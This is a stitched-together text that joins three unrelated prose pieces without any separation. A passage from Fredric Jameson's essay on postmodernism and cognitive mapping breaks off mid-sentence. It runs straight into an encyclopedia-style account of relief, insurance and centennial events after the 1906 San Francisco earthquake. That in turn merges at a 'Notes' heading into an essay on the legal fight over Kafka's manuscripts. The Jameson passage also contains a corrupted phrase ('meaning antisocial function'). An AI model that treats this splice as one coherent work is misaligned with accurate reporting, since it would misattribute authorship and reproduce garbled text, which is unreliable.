The first point to be made about the conception of periodisation in dominance, therefore, is that even if all the constitutive features of postmodernism were identical with and coterminous to those of an older modernism – a position I feel to be demonstrably erroneous but which only an even lengthier analysis of modernism proper could dispel the two phenomena would still remain utterly distinct in their meaning antisocial function, owing to the very different positioning of postmodernism in the economic system of late capital and, beyond that, to the transformation of the very sphere of culture in contemporary society.
This point will be further discussed at the conclusion of this book. I must now briefly address a different kind of objection to periodisation, a concern about its possible obliteration of heterogeneity, one most often expressed by the Left. And it is certain that there is a strange quasi-Sartrean irony – a “winner loses” logic which tends to surround any effort to describe a “system,” a totalising dynamic, as these are detected in the movement of contemporary society. What happens is that the more powerful the vision of some increasingly total system or logic – the Foucault of the prisons book is the obvious example – the more powerless the reader comes to feel. Insofar as the theorist wins, therefore, by constructing an increasingly closed and terrifying machine, to that very degree he loses, since the critical capacity of his work is thereby paralysed, and the impulses of negation and revolt, not to speak of those of social transformation, are increasingly perceived as vain and trivial in the face of the model itself.
I have felt, however, that it was only in the light of some conception of a dominant cultural logic or hegemonic norm that genuine difference could be measured and assessed. I am very far from feeling that all cultural production today is postmodern in the broad sense I will be conferring on this term. The postmodern is, however, the force field in which very different kinds of cultural impulses – what Raymond Williams has usefully termed “residual” and “emergent” forms of cultural production – must make their way. If we do not achieve some general sense of a cultural dominant, then we fall back into a view of present history as sheer heterogeneity, random difference, a coexistence of a host of distinct forces whose effectivity is undecidable. At any rate, this has been the political spirit in which the following analysis was devised: to project some conception of a new systematic cultural norm and its reproduction in order to reflect more adequately on the most effective forms of any radical cultural politics today.
The exposition will take up in turn the following constitutive features of the postmodern: a new depthlessness, which finds its prolongation both in contemporary “theory” and in a whole new culture of the image or the simulacrum; a consequent weakening of historicity, both in our relationship to public History and in the new forms of our private temporality, whose “schizophrenic” structure (following Lacan) will determine new types of syntax or syntagmatic relationships in the more temporal arts; a whole new type of emotional ground tone – what I will call “intensities” – which can best be grasped by a return to older theories of the sublime; the deep constitutive relationships of all this to a whole new technology, which is itself a figure for a whole new economic world system; and, after a brief account of postmodernist mutations in the lived experience of built space itself, some reflections on the mission of political art in the bewildering new world space of late or multinational capital.
VI
The conception of postmodernism outlined here is a historical rather than a merely stylistic one. I cannot stress too greatly the radical distinction between a view for which the postmodern is one (optional) style among many others available and one which seeks to grasp it as the cultural dominant of the logic of late capitalism: the two approaches in fact generate two very different ways of conceptualising the phenomenon as a whole: on the one hand, moral judgments (about which it is indifferent whether they are positive or negative), and, on the other, a genuinely dialectical attempt to think our present of time in History.
Of some positive moral evaluation of postmodernism little needs to be said: the complacent (yet delirious) camp-following celebration of this aesthetic new world (including its social and economic dimension, greeted with equal enthusiasm under the slogan of “postindustrial society”) is surely unacceptable, although it may be somewhat less obvious that current fantasies about the salvational nature of high technology, from chips to robots – fantasies entertained not only by both left and right governments in distress but also by many intellectuals – are also essentially of a piece with more vulgar apologies for postmodernism.
But in that case it is only consequent to reject moralising condemnations of the postmodern and of its essential triviality when juxtaposed against the Utopian “high seriousness” of the great modernisms: judgments one finds both on the Left and on the radical Right. And no doubt the logic of the simulacrum, with its transformation of older realities into television images, does more than merely replicate the logic of late capitalism; it reinforces and intensifies it. Meanwhile, for political groups which seek actively to intervene in history and to modify its otherwise passive momentum (whether with a view toward channelling it into a socialist transformation of society or diverting it into the regressive re-establishment of some simpler fantasy past), there cannot but be much that is deplorable and reprehensible in a cultural form of image addiction which, by transforming the past into visual mirages, stereotypes, or texts, effectively abolishes any practical sense of the future and of the collective project, thereby abandoning the thinking of future change to fantasies of sheer catastrophe and inexplicable cataclysm, from visions of “terrorism” on the social level to those of cancer on the personal. Yet if postmodernism is a historical phenomenon, then the attempt to conceptualise it in terms of moral or moralising judgments must finally be identified as a category mistake. All of which becomes more obvious when we interrogate the position of the cultural critic and moralist; the latter, along with all the rest of us, is now so deeply immersed in postmodernist space, so deeply suffused and infected by its new cultural categories, that the luxury of the old-fashioned ideological critique, the indignant moral denunciation of the other, becomes unavailable.
The distinction I am proposing here knows one canonical form in Hegel’s differentiation of the thinking of individual morality or moralising from that whole very different realm of collective social values and practices. But it finds its definitive form in Marx’s demonstration of the materialist dialectic, most notably in those classic pages of the Manifesto which teach the hard lesson of some more genuinely dialectical way to think historical development and change. The topic of the lesson is, of course, the historical development of capitalism itself and the deployment of a specific bourgeois culture. In a well-known passage Marx powerfully urges us to do the impossible, namely, to think this development positively and negatively all at once; to achieve, in other words, a type of thinking that would be capable of grasping the demonstrably baleful features of capitalism along with its extraordinary and liberating dynamism simultaneously within a single thought, and without attenuating any of the force of either judgment. We are somehow to lift our minds to a point at which it is possible to understand that capitalism is at one and the same time the best thing that has ever happened to the human race, and the worst.
The lapse from this austere dialectical imperative into the more comfortable stance of the taking of moral positions is inveterate and all too human: still, the urgency of the subject demands that we make at least some effort to think the cultural evolution of late capitalism dialectically, as catastrophe and progress all together.
Such an effort suggests two immediate questions, with which we will conclude these reflections. Can we in fact identify some “moment of truth” within the more evident “moments of falsehood” of postmodern culture? And, even if we can do so, is there not something ultimately paralysing in the dialectical view of historical development proposed above; does it not tend to demobilise us and to surrender us to passivity and helplessness by systematically obliterating possibilities of action under the impenetrable fog of historical inevitability? It is appropriate to discuss these two (related) issues in terms of current possibilities for some effective contemporary cultural politics and for the construction of a genuine political culture.
To focus the problem in this way is, of course, immediately to raise the more genuine issue of the fate of culture generally, and of the function of culture specifically, as one social level or instance, in the postmodern era. Everything in the previous discussion suggests that what we have been calling postmodernism is inseparable from, and unthinkable without the hypothesis of, some fundamental mutation of the sphere of culture in the world of late capitalism which includes a momentous modification of its social function. Older discussions of the space, function, or sphere of culture (mostly notably Herbert Marcuse’s classic essay The Affirmative Character of Culture) have insisted on what a different language would call the “semi-autonomy” of the cultural realm: its ghostly, yet Utopian, existence, for good or ill, above the practical world of the existent, whose mirror image it throws back in forms which vary from the legitimations of flattering resemblance to the contestatory indictments of critical satire or Utopian pain.
What we must now ask ourselves is whether it is not precisely this semi-autonomy of the cultural sphere which has been destroyed by the logic of late capitalism. Yet to argue that culture is today no longer endowed with the relative autonomy it once enjoyed as one level among others in earlier moments of capitalism (let alone in pre-capitalist societies) is not necessarily to imply its disappearance or extinction. Quite the contrary; we must go on to affirm that the dissolution of an autonomous sphere of culture is rather to be imagined in terms of an explosion: a prodigious expansion of culture throughout the social realm, to the point at which everything in our social life – from economic value and state power to practices and to the very structure of the psyche itself – can be said to have become “cultural” in some original and yet untheorised sense. This proposition is, however, substantively quite consistent with the previous diagnosis of a society of the image or the simulacrum and a transformation of the “real” into so many pseudo-events.
It also suggests that some of our most cherished and time-honoured radical conceptions about the nature of cultural politics may thereby find themselves outmoded. However distinct those conceptions – which range from slogans of negativity, opposition, and subversion to critique and reflexivity – may have been, they all shared a single, fundamentally spatial, presupposition, which may be resumed in the equally time-honoured formula of “critical distance.” No theory of cultural politics current on the Left today has been able to do without one notion or another of a certain minimal aesthetic distance, of the possibility of the positioning of the cultural act outside the massive Being of capital, from which to assault this last. What the burden of our preceding demonstration suggests, however, is that distance in general (including “critical distance” in particular) has very precisely been abolished in the new space of postmodernism. We are submerged in its henceforth filled and suffused volumes to the point where our now postmodern bodies are bereft of spatial coordinates and practically (let alone theoretically) incapable of distantiation; meanwhile, it has already been observed how the prodigious new expansion of multinational capital ends up penetrating and colonising those very pre-capitalist enclaves (Nature and the Unconscious) which offered extraterritorial and Archimedean footholds for critical effectivity. The shorthand language of co-optation is for this reason omnipresent on the left, but would now seem to offer a most inadequate theoretical basis for understanding a situation in which we all, in one way or another, dimly feel that not only punctual and local counter-culture forms of cultural resistance and guerrilla warfare but also even overtly political interventions like those of The Clash are all somehow secretly disarmed and reabsorbed by a system of which they themselves might well be considered a part, since they can achieve no distance from it.
What we must now affirm is that it is precisely this whole extraordinarily demoralising and depressing original new global space which is the “moment of truth” of postmodernism. What has been called the postmodernist “sublime” is only the moment in which this content has become most explicit, has moved the closest to the surface of consciousness as a coherent new type of space in its own right – even though a certain figural concealment or disguise is still at work here, most notably in the high-tech thematics in which the new spatial content is still dramatised and articulated. Yet the earlier features of the postmodern which were enumerated above can all now be seen as themselves partial (yet constitutive) aspects of the same general spatial object.
The argument for a certain authenticity in these otherwise patently ideological productions depends on the prior proposition that what we have been calling postmodern (or multinational) space is not merely a cultural ideology or fantasy but has genuine historical (and socioeconomic) reality as a third great original expansion of capitalism around the globe (after the earlier expansions of the national market and the older imperialist system, which each had their own cultural specificity and generated new types of space appropriate to their dynamics). The distorted and unreflexive attempts of newer cultural production to explore and to express this new space must then also, in their own fashion, be considered as so many approaches to the representation of (a new) reality (to use a more antiquated language). As paradoxical as the terms may seem, they may thus, following a classic interpretive option, be read as peculiar new forms of realism (or at least of the mimesis of reality), while at the same time they can equally well be analysed as so many attempts to distract and divert us from that reality or to disguise its contradictions and resolve them in the guise of various formal mystifications.
As for that reality itself, however – the as yet untheorised original space of some new “world system” of multinational or late capitalism, a space whose negative or baleful aspects are only too obvious – the dialectic requires us to hold equally to a positive or “progressive” evaluation of its emergence, as Marx did for the world market as the horizon of national economies, or as Lenin did for the older imperialist global network. For neither Marx nor Lenin was socialism a matter of returning to smaller (and thereby less repressive and comprehensive) systems of social organisation; rather, the dimensions attained by capital in their own times were grasped as the promise, the framework, and the precondition for the achievement of some new and more comprehensive socialism. Is this not the case with the yet more global and totalising space of the new world system, which demands the intervention and elaboration of an internationalism of a radically new type? The disastrous realignment of socialist revolution with the older nationalisms (not only in Southeast Asia), whose results have necessarily aroused much serious recent left reflection, can be adduced in support of this position.
But if all this is so, then at least one possible form of a new radical cultural politics becomes evident, with a final aesthetic proviso that must quickly be noted. Left cultural producers and theorists – particularly those formed by bourgeois cultural traditions issuing from romanticism and valorising spontaneous, instinctive, or unconscious forms of “genius,” but also for very obvious historical reasons such as Zhdanovism and the sorry consequences of political and party interventions in the arts have often by reaction allowed themselves to be unduly intimidated by the repudiation, in bourgeois aesthetics and most notably in high modernism, of one of the age-old functions of art – the pedagogical and the didactic. The teaching function of art was, however, always stressed in classical times (even though it there mainly took the form of moral lessons), while the prodigious and still imperfectly understood work of Brecht reaffirms, in a new and formally innovative and original way, for the moment of modernism proper, a complex new conception of the relationship between culture and pedagogy.
The cultural model I will propose similarly foregrounds the cognitive and pedagogical dimensions of political art and culture, dimensions stressed in very different ways by both Lukacs and Brecht (for the distinct moments of realism and modernism, respectively).
We cannot, however, return to aesthetic practices elaborated on the basis of historical situations and dilemmas which are no longer ours. Meanwhile, the conception of space that has been developed here suggests that a model of political culture appropriate to our own situation will necessarily have to raise spatial issues as its fundamental organising concern. I will therefore provisionally define the aesthetic of this new (and hypothetical) cultural form as an aesthetic of cognitive mapping.
In a classic work, The Image of the City, Kevin Lynch taught us that the alienated city is above all a space in which people are unable to map (in their minds) either their own positions or the urban totality in which they find themselves: grids such as those of Jersey City, in which none of the traditional markers (monuments, nodes, natural boundaries, built perspectives) obtain, are the most obvious examples. Disalienation in the traditional city, then, involves the practical reconquest of a sense of place and the construction or reconstruction of an articulated ensemble which can be retained in memory and which the individual subject can map and remap along the moments of mobile, alternative trajectories. Lynch’s own work is limited by the deliberate restriction of his topic to the problems of city form as such; yet it becomes extraordinarily suggestive when projected outward onto some of the larger national and global spaces we have touched on here. Nor should it be too hastily assumed that his model – while it clearly raises very central issues of representation as such – is in any way easily vitiated by the conventional poststructural critiques of the “ideology of representation” or mimesis. The cognitive map is not exactly mimetic in that older sense; indeed, the theoretical issues it poses allow us to renew the analysis of representation on a higher and much more complex level.
There is, for one thing, a most interesting convergence between the empirical problems studied by Lynch in terms of city space and the great Althusserian (and Lacanian) redefinition of ideology as “the representation of the subject’s Imaginary relationship to his or her Real conditions of existence.” Surely this is exactly what the cognitive map is called upon to do in the narrower framework of daily life in the physical city: to enable a situational representation on the part of the individual subject to that vaster and properly unrepresentable totality which is the ensemble of society’s structures as a whole.
Yet Lynch’s work also suggests a further line of development insofar as cartography itself constitutes its key mediatory instance. A return to the history of this science (which is also an art) shows us that Lynch’s model does not yet, in fact, really correspond to what will become map-making. Lynch’s subjects are rather clearly involved |
in new areas, resulting in clusters of business activity that emerged only in the wake of the disaster. These effects of the fire still remain today, and thus large shocks can be sufficient catalysts for permanently reshaping urban settings."[53]
Relief [ edit ]
During the first few days after news of the disaster reached the rest of the world, relief efforts reached over $5,000,000.[54] London raised hundreds of thousands of dollars. Individual citizens and businesses donated large sums of money for the relief effort: Standard Oil gave $100,000; Andrew Carnegie gave $100,000; the Dominion of Canada made a special appropriation of $100,000 and even the Bank of Canada in Ottawa gave $25,000.[54] The U.S. government quickly voted for one million dollars in relief supplies which were immediately rushed to the area, including supplies for food kitchens and many thousands of tents that city dwellers would occupy the next several years.[55] These relief efforts were not enough to get families on their feet again, and consequently the burden was placed on wealthier members of the city, who were reluctant to assist in the rebuilding of homes they were not responsible for. All residents were eligible for daily meals served from a number of communal soup kitchens and citizens as far away as Idaho and Utah were known to send daily loaves of bread to San Francisco as relief supplies were coordinated by the railroads.[56]
Insurance payments [ edit ]
Insurance companies, faced with staggering claims of $250 million,[57] paid out between $235 million and $265 million on policyholders' claims, often for fire damage only, since shake damage from earthquakes was excluded from coverage under most policies.[58][59] At least 137 insurance companies were directly involved and another 17 as reinsurers.[60] Twenty companies went bankrupt, and most excluded shake damage claims.[59] Lloyd's of London reports having paid all claims in full, more than $50 million[61] and the insurance companies in Hartford, Connecticut report also paying every claim in full, with the Hartford Fire Insurance Company paying over $11 million and Aetna Insurance Company almost $3 million.[59]
After the 1906 earthquake, global discussion arose concerning a legally flawless exclusion of the earthquake hazard from fire insurance contracts. It was pressed ahead mainly by re-insurers. Their aim; a uniform solution to insurance payouts resulting from fires caused by earthquakes. Until 1910, a few countries, especially in Europe, followed the call for an exclusion of the earthquake hazard from all fire insurance contracts. In the U.S., the question was discussed differently. But the traumatized public reacted with fierce opposition. On August 1, 1909, the California Senate enacted the California Standard Form of Fire Insurance Policy, which did not contain any earthquake clause. Thus the state decided that insurers would have to pay again if another earthquake was followed by fires. Other earthquake-endangered countries followed the California example.[62] The insurance payments heavily affected the international financial system. Gold transfers from European insurance companies to policyholders in San Francisco led to a rise in interest rates, subsequently to a lack of available loans and finally to the Knickerbocker Trust Company crisis of October 1907 which led to the Panic of 1907.[63]
Centennial commemorations [ edit ]
The 1906 Centennial Alliance[64] was set up as a clearing-house for various centennial events commemorating the earthquake. Award presentations, religious services, a National Geographic TV movie,[65] a projection of fire onto the Coit Tower,[66] memorials, and lectures were part of the commemorations. The USGS Earthquake Hazards Program issued a series of Internet documents,[67] and the tourism industry promoted the 100th anniversary as well.[68]
Eleven survivors of the 1906 earthquake attended the centennial commemorations in 2006, including Irma Mae Weule (May 11, 1899 – August 8, 2008),[69] who was the oldest survivor of the quake at the time of her death in August 2008, aged 109.[70] Vivian Illing (December 25, 1900 – January 22, 2009) was believed to be the second-oldest survivor at the time of her death, aged 108, leaving Herbert Hamrol (January 10, 1903 – February 4, 2009) as the last known remaining survivor at the time of his death, aged 106. Another survivor, Libera Armstrong (September 28, 1902 – November 27, 2007), attended the 2006 anniversary, but died in 2007, aged 105.[71]
Shortly after Hamrol's death, two additional survivors were discovered. William Del Monte, then 103, and Jeanette Scola Trapani (April 21, 1902 – December 28, 2009),[72] 106, stated that they stopped attending events commemorating the earthquake when it became too much trouble for them.[73] Del Monte and another survivor, Rose Cliver, then 106, attended the earthquake reunion celebration on April 18, 2009, the 103rd anniversary of the earthquake.[74] Cliver (October 9, 1902 – February 18, 2012)[75] died in February 2012, aged 109. Nancy Stoner Sage (February 19, 1905 – April 15, 2010) died, aged 105, in Colorado just three days short of the 104th anniversary of the earthquake on April 18, 2010. Del Monte attended the event at Lotta's Fountain on April 18, 2010 and the dinner at John's Restaurant the night before.[76] 107-year-old George Quilici (April 26, 1905 – May 31, 2012) died in May 2012,[77] and 113-year-old Ruth Newman (September 23, 1901 – July 29, 2015) in July 2015.[78] William Del Monte (January 22, 1906 – January 11, 2016), who died 11 days shy of his 110th birthday, was thought to be the last survivor.[79]
In 2005 the National Film Registry added San Francisco Earthquake and Fire, April 18, 1906, a newsreel documentary made soon after the earthquake, to its list of American films worthy of preservation.[80]
Panoramas [ edit ]
San Francisco burning in 1906.
San Francisco fire 1906
San Francisco 360° panorama showing damage, 1906
[81] Panoramic view of earthquake and fire damage from Stanford Mansion site, April 18–21, 1906. Note the ruins of the original City Hall building at far right.
In popular culture [ edit ]
See also [ edit ]
Notes [ edit ]An ongoing trial in Tel Aviv is set to determine who will have stewardship of several boxes of Kafka’s original writings, including primary drafts of his published works, currently stored in Zurich and Tel Aviv. As is well known, Kafka left his published and unpublished work to Max Brod, along with the explicit instruction that the work should be destroyed on Kafka’s death. Indeed, Kafka had apparently already burned much of the work himself. Brod refused to honour the request, although he did not publish everything that was bequeathed to him. He published the novels The Trial, The Castle and Amerika between 1925 and 1927. In 1935, he published the collected works, but then put most of the rest away in suitcases, perhaps honouring Kafka’s wish not to have it published, but surely refusing the wish to have it destroyed. Brod’s compromise with himself turned out to be consequential, and in some ways we are now living out the consequences of the non-resolution of Kafka’s bequest.
Brod fled Europe for Palestine in 1939, and though many of the manuscripts in his custody ended up at the Bodleian Library in Oxford, he held on to a substantial number of them until his death in 1968. It was to his secretary Esther Hoffe, with whom he appears to have had an amorous relationship, that Brod bequeathed the manuscripts, and she kept most of them until her own death in 2007 at the age of 101. For the most part Esther did as Max did, holding on to the various boxes, stashing them in vaults, but in 1988 she sold the manuscript of The Trial for $2 million, at which point it became clear that one could turn quite a profit from Kafka. What no one could have predicted, however, is that a trial would eventually take place after Esther’s death in which her daughters, Eva and Ruth, would claim that no one needs to inventory the materials and that the value of the manuscripts should be determined by their weight – quite literally, by what they weigh. As one of the attorneys representing Hoffe’s estate explained: ‘If we get an agreement, the material will be offered for sale as a single entity, in one package. It will be sold by weight … They’ll say: “There’s a kilogram of papers here, the highest bidder will be able to approach and see what’s there.” The National Library [of Israel] can get in line and make an offer, too.’
How Kafka turned into such a commodity – indeed a new gold standard – is an important question, and one to which I shall return. We are all too familiar with the way in which the value of literary and academic work is currently being established by quantitative means, but I am not sure anyone has yet proposed that we simply weigh our work on the scales. But to begin with, let us consider who the parties are to the trial and the various claims they make. First, there is the National Library of Israel, which claims that Esther Hoffe’s will should be set aside, since Kafka does not belong to these women, but either to the ‘public good’ or else to the Jewish people, where these sometimes seem to be the same. David Blumberg, chairman of the board of directors of the National Library, puts the case this way: ‘The library does not intend to give up on cultural assets belonging to the Jewish people … Because it is not a commercial institution and the items kept there are accessible to all without cost, the library will continue its efforts to gain transfer of the manuscripts that have been found.’ It is interesting to consider how Kafka’s writings can at once constitute an ‘asset’ of the Jewish people and at the same time have nothing to do with commercial activities. Oren Weinberg, the CEO of the National Library, made a similar remark more recently: ‘The library regards with concern the new position expressed by the executors, who want to mix financial considerations into the decision as to whom the estate will be given. Revealing the treasures, which have been hidden in vaults for decades, will serve the public interest, but the position of the executors is liable to undermine that measure, for reasons that will benefit neither Israel nor the world.’
So it seems we are to understand Kafka’s work as an ‘asset’ of the Jewish people, though not a restrictively financial one. If Kafka is claimed as a primarily Jewish writer, he comes to belong primarily to the Jewish people, and his writing to the cultural assets of the Jewish people. This claim, already controversial (since it effaces other modes of belonging or, rather, non-belonging), becomes all the more so when we realise that the legal case rests on the presumption that it is the state of Israel that represents the Jewish people. This may seem a merely descriptive claim, but it carries with it extraordinary, and contradictory, consequences. First, the claim overcomes the distinction between Jews who are Zionist and Jews who are not, for example Jews in the diaspora for whom the homeland is not a place of inevitable return or a final destination. Second, the claim that it is Israel that represents the Jewish people has domestic consequences as well. Indeed, Israel’s problem of how best to achieve and maintain a demographic majority over its non-Jewish population, now estimated to constitute more than 20 per cent of the population within its existing borders, is predicated on the fact that Israel is not a restrictively Jewish state and that, if it is to represent its population fairly or equally, it must represent both Jewish and non-Jewish citizens. The assertion that Israel represents the Jewish people thus denies the vast number of Jews outside Israel who are not represented by it, either legally or politically, but also the Palestinian and other non-Jewish citizens of that state. The position of the National Library relies on a conception of the nation of Israel that casts the Jewish population outside its territory as living in the Galut, in a state of exile and despondency that should be reversed, and can be reversed only through a return to Israel. The implicit understanding is that all Jews and Jewish cultural assets – whatever that might mean – outside Israel eventually and properly belong to Israel, since Israel represents not only all Jews but all significant Jewish cultural production. I will simply note that there exists a great deal of interesting commentary on this problem of the Galut by scholars such as Amnon Raz-Krakotzkin, who, in his extraordinary work on exile and sovereignty, argues that the exilic is proper to Judaism and even to Jewishness, and that Zionism errs in thinking that exile must be overcome through the invocation of the Law of Return, or indeed, the popular notion of ‘birthright’. Exile may in fact be a point of departure for thinking about cohabitation and for bringing diasporic values back to that region. This was also no doubt Edward Said’s point when, in Freud and the Non-European, he called for the exilic histories of both Jews and Palestinians to serve as the basis for a new polity in Palestine.
The Galut is thus not a fallen realm in need of redemption, even though it is precisely what state and cultural forms of Zionism seek to overcome through extending rights of return to all those born of Jewish mothers – and now through claiming significant works by those who happen to be Jews as Jewish cultural capital that, as such, rightly belongs to the Israeli state. Indeed, if the argument of the National Library were successful, then the representative claim of the state of Israel would be greatly expanded. As Antony Lerman put it in the Guardian, if
the National Library claims the legacy of Kafka for the Jewish state, it, and institutions like it in Israel, can lay claim to practically any pre-Holocaust synagogue, artwork, manuscript or valuable ritual object extant in Europe. But neither Israel as a state, nor any state or public institution, has such a right. (And while it’s true that Kafka is a key figure of the Jewish cultural past, as one of the world’s most significant authors whose themes find echoes in many countries and cultures, Israel’s proprietary attitude is surely misplaced.)
Although Lerman laments the ‘implied subservience of European Jewish communities to Israel’, the problem has broader global implications: if the diaspora is conceived as a fallen realm, unredeemed, then all cultural production by those who are arguably Jewish according to the rabbinic laws governing the Law of Return will be subject to posthumous legal appropriation, provided that the work is regarded as an ‘asset’. And this brings me to my third point, namely, that where there are assets, there are also liabilities. So it is not enough for a person or a work to be Jewish; they have to be Jewish in a way that can be capitalised on by the Israeli state as it currently fights on many fronts against cultural delegitimation. An asset, one imagines, is something that enhances Israel’s world reputation, which many would allow is in need of repair: the wager is that the world reputation of Kafka will become the world reputation of Israel. But a liability, and a Jewish one, is someone whose person or work, arguably Jewish, constitutes a deficit of some kind; consider, for instance, the recent efforts to prosecute Israeli human rights organisations, such as B’tselem, for publicly documenting the number of civilian casualties in the war against Gaza. Perhaps Kafka might be instrumentalised to overcome the loss of standing that Israel has suffered by virtue of its ongoing illegal occupation of Palestinian land. It matters that Israel comes to own the work, but also that the work is housed within the established territory of the state, so that anyone who seeks to see and study that work must cross Israel’s border and engage with its cultural institutions. And this is also problematic, not only because citizens from several countries and non-citizens within the Occupied Territories are not allowed to cross that border, but also because many artists, performers and intellectuals are currently honouring the cultural and academic boycott, refusing to appear in Israel unless their host institutions voice a strong and sustained opposition to the occupation. The Kafka trial not only takes place against this political backdrop, but actively intervenes in its reconfiguration: if the National Library in Jerusalem wins its case, to have access to the unpublished and unseen materials of Franz Kafka one will have to defy the boycott and will have implicitly to acknowledge the Israeli state’s right to appropriate cultural goods whose high value is assumed to convert contagiously into the high value of Israel itself. Can poor Kafka shoulder such a burden? Can he really help the Israeli state overcome the bad press of the occupation?
It is strange that Israel might be relying on the fragile remains of Franz Kafka to establish its cultural claim to work that is produced by that class of persons we might call ‘arguably Jewish’. And it probably also matters that the adversaries here are the daughters of the one-time mistress of Max Brod, a committed Zionist, whose own political interests seem to be vastly overshadowed by the prospect of financial gain. Their pursuit of a profitable outcome seems to know no national boundaries and to honour no particular claims of national belonging – like capitalism itself. In fact, the German Literature Archive would probably be in a better position to pay the sums imagined by these sisters. In a desperate move, the Israeli counsel for the National Library sought to debunk the ownership claims of the sisters by producing a letter by Brod accusing his paramour of disrespecting him, and insisting that he would prefer to leave these materials to someone who regarded him as a person of significance. Since the letter names no such people, it might be hard to sustain the claim that it overrides the explicit stipulation of the will. We shall see whether this document of a lover’s quarrel holds up in court.
The National Library’s most powerful adversary is the German Literature Archive in Marbach, which, interestingly, has retained Israeli lawyers for the purposes of the trial. Presumably, with Israeli counsel, this does not have the appearance of a German-Jewish fight, and so does not recall that other trial – Eichmann’s in 1961 – in which the judge suddenly broke out of Hebrew and into German to address Eichmann directly. That moment caused a controversy over the question of what language belongs in an Israeli court of law, and of whether Eichmann should have been accorded such a courtesy. Several German scholars and newspapers have recently argued that Marbach is the proper home for Kafka’s newly discovered writings. Marbach, they point out, already owns the largest collection of Kafka manuscripts in the world, including the manuscript of The Trial, which it bought for 3.5 million German marks at Sotheby’s in 1988. These scholars argue against further fragmentation of the oeuvre, and point to the superior capacity of the Marbach facility to conserve such materials. There seems to be a sense that Germany might be, all in all, a more secure location. But of course another part of the argument is that Kafka belongs to German literature and, specifically, to the German language. And though there is no attempt to say that he belongs to Germany as one of its past or virtual citizens, it seems that Germanness here transcends the history of citizenship and pivots on the question of linguistic competence and accomplishment. The argument of the German Literature Archive effaces the importance of multilingualism for Kafka’s formation and for his writing. (Indeed, would we have the Babel parables without the presumption of multilingualism, and would communication falter so insistently in his works without that backdrop of Czech, Yiddish and German converging in Kafka’s world?)
In focusing on just how perfectly German his language is, the archive joins in a long and curious tradition of praise for Kafka’s ‘pure’ German. George Steiner lauded ‘the translucency of Kafka’s German, its stainless quiet’, remarking that his ‘vocabulary and syntax are those of utmost abstention from waste’. John Updike referred to ‘the stirring purity’ of Kafka’s prose. Hannah Arendt, as well, wrote that his work ‘speaks the purest German prose of the century’. So although Kafka was certainly Czech, it seems that fact is superseded by his written German, which is apparently the most pure – or, shall we say, purified? Given the history of the valuation of ‘purity’ within German nationalism, including National Socialism, it is curious that Kafka should be made to stand for this rigorous and exclusionary norm. In what ways must Kafka’s multilingualism and his Czech origins be ‘purified’ in order to have him stand for a pure German? Is what is most remarkable or admirable about him that he seems to have purified himself, exemplifying the self-purifying capacities of the Ausländer?
It is interesting that these arguments about Kafka’s German are recirculating now, just as Angela Merkel has announced the failure of multiculturalism in Germany and marshalled as evidence the further claim that new immigrants, and indeed their ‘children and grandchildren’, fail to speak German correctly. She has publicly admonished such communities to rid themselves of every accent and to ‘integrate’ into the norms of the German linguistic community (a complaint quickly countered by Jürgen Habermas). Surely, Kafka could be a model of the successful immigrant, though he lived only briefly in Berlin, and clearly did not identify even with the German Jews. If Kafka’s new works are recruited to the Marbach archive, then Germany will be fortified in its effort to shift its nationalism to the level of language; the inclusion of Kafka takes place for the very same reason that less well-spoken immigrations are denounced and resisted. Is it possible that fragile Kafka could become a norm of European integration?
We find in Kafka’s correspondence with his lover Felice Bauer, who was from Berlin, that she is constantly correcting his German, suggesting that he is not fully at home in this second language. And his later lover, Milena Jesenská, who was also the translator of his works into Czech, is constantly teaching him Czech phrases he neither knows how to spell nor to pronounce, suggesting that Czech, too, is also something of a second language. In 1911, he is going to the Yiddish theatre and understanding what is said, but Yiddish is not a language he encounters very often in his family or his daily life; it remains an import from the east that is compelling and strange. So is there a first language here? And can it be argued that even the formal German in which Kafka writes – what Arendt called ‘purest’ German – bears the signs of someone entering the language from its outside? This was the argument in Deleuze and Guattari’s essay ‘Kafka: Toward a Minor Literature’.
Indeed, this quarrel seems to be an old one, one that Kafka himself invokes in a letter to Felice in October 1916 with reference to Max Brod’s essay on Jewish writers, ‘Our Writers and the Community’, published in Der Jude.
And incidentally, won’t you tell me what I really am; in the last Neue Rundschau, ‘Metamorphosis’ is mentioned and rejected on sensible grounds, and then the writer says: ‘There is something fundamentally German about K’s narrative art.’ In Max’s article on the other hand: ‘K’s stories are among the most typically Jewish documents of our time.’
‘A difficult case,’ Kafka writes. ‘Am I a circus rider on two horses? Alas, I am no rider, but lie prostrate on the ground.’
Let us consider some more of Kafka’s writings – his letters, some diary entries, two parables and a story – in order to cast light on the question of his belonging, his views on Zionism and his more general ways of thinking about reaching (and failing to reach) a destination. So far as we’re concerned with assessing the rights of ownership claimed in the trial, it probably doesn’t matter whether or not Kafka was a Zionist or whether he planned seriously to move to Palestine. The fact is that Brod was a Zionist and brought Kafka’s work along, even though Kafka himself never went, and never really planned to. He understood Palestine as a destination, but referred to the plan to go there as ‘dreams’. It was not simply that he lacked the will, but that he had a stopping ambivalence about the entire project. What I hope to show is that a poetics of non-arrival pervades this work and affects, if not afflicts, his love letters, his parables about journeys, and his explicit reflections on both Zionism and on the German language. I can understand that one might want to look specifically at what Kafka wrote about trials to see what light might be shed on the contemporary trial by his writings, but there are some differences that need to be remarked. This current trial is about ownership and rests in part on claims of national and linguistic belonging, but most of the trials and procedures that Kafka writes about involve unfounded allegations and nameless guilt. Now Kafka has himself become property, if not chattel (literally, an item of tangible movable or immovable property not attached to land), and the debate over his final destination is taking place, ironically, in family court. The very question of where Kafka belongs is already something of a scandal given the fact that the writing charts the vicissitudes of non-belonging, or of belonging too much. Remember: he broke every engagement he ever had, he never owned an apartment, and he asked his literary executor to destroy his papers, after which that contractual relation was to have ended. So arrangements outlived their original purposes and their intended timespan. Even though Kafka’s job was to adjudicate administrative insurance claims and binding contracts, his personal life was curiously void of them, except for an occasional contract to publish. Of course, I am prepared to accept that the legal management of his papers requires a decision regarding their stewardship, and that this problem of legal ownership has to be solved so the papers can be inventoried and made accessible. But if we turn to his writing to help us sort through this mess, we may well find that his writing is instead most pertinent in helping us to think through the limits of cultural belonging, as well as the traps of certain nationalist trajectories that have specific territorial destinations as their goal.
